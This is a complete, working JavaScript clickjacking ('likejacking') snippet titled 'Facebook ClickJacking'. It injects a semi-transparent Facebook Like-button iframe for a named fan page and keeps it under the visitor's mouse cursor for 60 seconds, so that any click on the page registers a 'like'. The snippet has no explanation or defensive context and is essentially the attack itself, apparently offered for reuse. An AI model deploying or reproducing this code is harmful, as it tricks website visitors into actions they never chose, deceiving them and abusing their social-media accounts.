Facebook ClickJacking

<script language='javascript'>var fan_page_url = 'http://www.facebook.com/idmayadotcom'
var opacity = 0.6;
var time = 60000;</script>

<script type="text/javascript">
 if((document.getElementById) && window.addEventListener || window.attachEvent){
    (function(){
        var hairCol = "#ff0000";

        var d = document;
        var my = -10;
        var mx = -10;
        var r;
        var vert = "";

        var idx = document.getElementsByTagName('div').length;

        var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80' style='position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
        document.write(thehairs);
        var like = document.getElementById("theiframe");
        document.getElementsByTagName('body')[0].appendChild(like);

        var pix = "px";
        var domWw = (typeof window.innerWidth == "number");
        var domSy = (typeof window.pageYOffset == "number");

        if (domWw)
            r = window;
        else{
            if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
                r = d.documentElement;
            else{
                if (d.body && typeof d.body.clientWidth == "number")
                    r = d.body;
            }
        }


        if(time != 0){
            setTimeout(function(){
                        document.getElementsByTagName('body')[0].removeChild(like);

                        if (window.addEventListener){
                            document.removeEventListener("mousemove",mouse,false);
                        }
                        else if (window.attachEvent){
                            document.detachEvent("onmousemove",mouse);
                        }
                    }, time);
        }

        function scrl(yx){
            var y,x;
            if (domSy){
                y = r.pageYOffset;
                x = r.pageXOffset;
            }
            else{
                y = r.scrollTop;
                x = r.scrollLeft;
            }
            return (yx == 0) ? y:x;
        }

        function mouse(e){
            var msy = (domSy)?window.pageYOffset:0;
            if (!e)
                e = window.event;
            if (typeof e.pageY == 'number'){
                my = e.pageY - 5 - msy;
                mx = e.pageX - 4;
            }
            else{
                my = e.clientY - 6 - msy;
                mx = e.clientX - 6;
            }
            vert.top = my + scrl(0) + pix;
            vert.left = mx + pix;
        }

        function ani(){
            vert.top = my + scrl(0) + pix;
            setTimeout(ani, 300);
        }


        function init(){
            vert = document.getElementById("theiframe").style;
            ani();
        }

        if (window.addEventListener){
            window.addEventListener("load",init,false);
            document.addEventListener("mousemove",mouse,false);
        }
        else if (window.attachEvent){
            window.attachEvent("onload",init);
            document.attachEvent("onmousemove",mouse);
        }

    })();
}
</script>